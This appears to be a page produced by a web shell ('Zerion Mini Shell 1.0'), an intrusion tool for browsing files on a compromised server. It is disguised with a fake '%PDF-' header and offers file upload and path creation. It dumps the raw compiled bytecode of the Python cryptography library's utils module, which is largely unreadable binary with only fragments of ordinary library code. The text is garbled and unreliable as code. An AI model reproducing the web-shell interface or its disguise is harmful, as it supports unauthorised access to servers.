%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /snap/core20/current/usr/lib/python3/dist-packages/cryptography/__pycache__/
Upload File :
Create Path :
Current File : //snap/core20/current/usr/lib/python3/dist-packages/cryptography/__pycache__/utils.cpython-38.pyc

U

�e�]��@s,ddlmZmZmZddlZddlZddlZddlZddlZGdd�de	�Z
e
Ze
Ze
Z
e
Zdd�Zdd�Zd	d
�Zdd�Zd
d�Zeed�r�ejZn
d&dd�Zeed�r�d'dd�Zn
d(dd�ZGdd�de�Zeed�r�ejZnejZdd�Zdd�ZGdd�de�Z Gd d!�d!e�Z!d"d#�Z"d$d%�Z#dS))�)�absolute_import�division�print_functionNc@seZdZdS)�CryptographyDeprecationWarningN��__name__�
__module__�__qualname__�r
r
�4/usr/lib/python3/dist-packages/cryptography/utils.pyrsrcCst|t�std�|���dS)Nz{} must be bytes)�
isinstance�bytes�	TypeError�format��name�valuer
r
r�_check_bytess
rcCs4zt|�Wn"tk
r.td�|���YnXdS)Nz{} must be bytes-like)�
memoryviewrrrr
r
r�_check_byteslike"srcst�fdd��S)Ncs
t|��S�N)�getattr��self�rr
r�<lambda>*�z$read_only_property.<locals>.<lambda>)�propertyrr
rr�read_only_property)srcs�fdd�}|S)Ncst�|���|�|Sr��verify_interface�register��klass��ifacer
r�register_decorator.s

z.register_interface.<locals>.register_decoratorr
)r%r&r
r$r�register_interface-sr'cs��fdd�}|S)Ncs�rt�|���|�|Srrr"�r%�	predicater
rr&6s

z1register_interface_if.<locals>.register_decoratorr
)r)r%r&r
r(r�register_interface_if5sr*�
from_bytesFcCs$|dkst�|rt�tt�|�d�S)N�big�)�AssertionError�int�binasciiZhexlify)�data�	byteorderZsignedr
r
r�int_from_bytesAsr3�to_bytescCs |�|p|��ddpdd�S)N���r,)r4�
bit_length)�integer�lengthr
r
r�int_to_bytesIs�r;cCs:d|}|dkrt|�}n|d}t�|�||d@��S)Nz%x�r7)�lenr0Z	unhexlify�zfill)r9r:Z
hex_string�nr
r
rr;Ns

c@seZdZdS)�InterfaceNotImplementedNrr
r
r
rr@Wsr@�	signaturecCsv|jD]j}t||�s$td�||���tt||�tj�r8qtt||��}tt||��}||krtd�||||���qdS)Nz{} is missing a {!r} methodzK{}.{}'s signature differs from the expected. Expected: {!r}. Received: {!r})	�__abstractmethods__�hasattrr@rrr�abc�abstractpropertyrA)r%r#�methodZsigZactualr
r
rr as$


���r cCs|��Sr)r8)�xr
r
rr8wsr8c@seZdZdd�ZdS)�_DeprecatedValuecCs||_||_||_dSr)r�message�
warning_class)rrrIrJr
r
r�__init__|sz_DeprecatedValue.__init__N)rrr	rKr
r
r
rrH{srHc@s4eZdZdd�Zdd�Zdd�Zdd�Zd	d
�ZdS)�_ModuleWithDeprecationscCs||jd<dS�N�_module)�__dict__)r�moduler
r
rrK�sz _ModuleWithDeprecations.__init__cCs4t|j|�}t|t�r0tj|j|jdd�|j}|S�Nr<)�
stacklevel)	rrNrrH�warnings�warnrIrJr�r�attr�objr
r
r�__getattr__�s

z#_ModuleWithDeprecations.__getattr__cCst|j||�dSr)�setattrrN)rrVrr
r
r�__setattr__�sz#_ModuleWithDeprecations.__setattr__cCs:t|j|�}t|t�r*tj|j|jdd�t|j|�dSrQ)	rrNrrHrSrTrIrJ�delattrrUr
r
r�__delattr__�s
z#_ModuleWithDeprecations.__delattr__cCsdgt|j�SrM)�dirrNrr
r
r�__dir__�sz_ModuleWithDeprecations.__dir__N)rrr	rKrXrZr\r^r
r
r
rrL�s
rLcCs.tj|}t|t�s"t|�tj|<t|||�Sr)�sys�modulesrrLrH)rZmodule_namerIrJrPr
r
r�
deprecated�s

racs(d����t�����fdd�}t|�S)Nz
_cached_{}cs0t|���}|�k	r|S�|�}t|�|�|Sr)rrY)�instance�cache�result�Zcached_name�func�sentinelr
r�inner�szcached_property.<locals>.inner)r�objectr)rfrhr
rer�cached_property�s
rj)F)N)N)$Z
__future__rrrrDr0�inspectr_rS�UserWarningrZPersistentlyDeprecated2017ZPersistentlyDeprecated2018ZDeprecatedIn25ZDeprecatedIn27rrrr'r*rCr/r+r3r;�	Exceptionr@rAZ
getargspecr r8rirHrLrarjr
r
r
r�<module>s>	



	


Zerion Mini Shell 1.0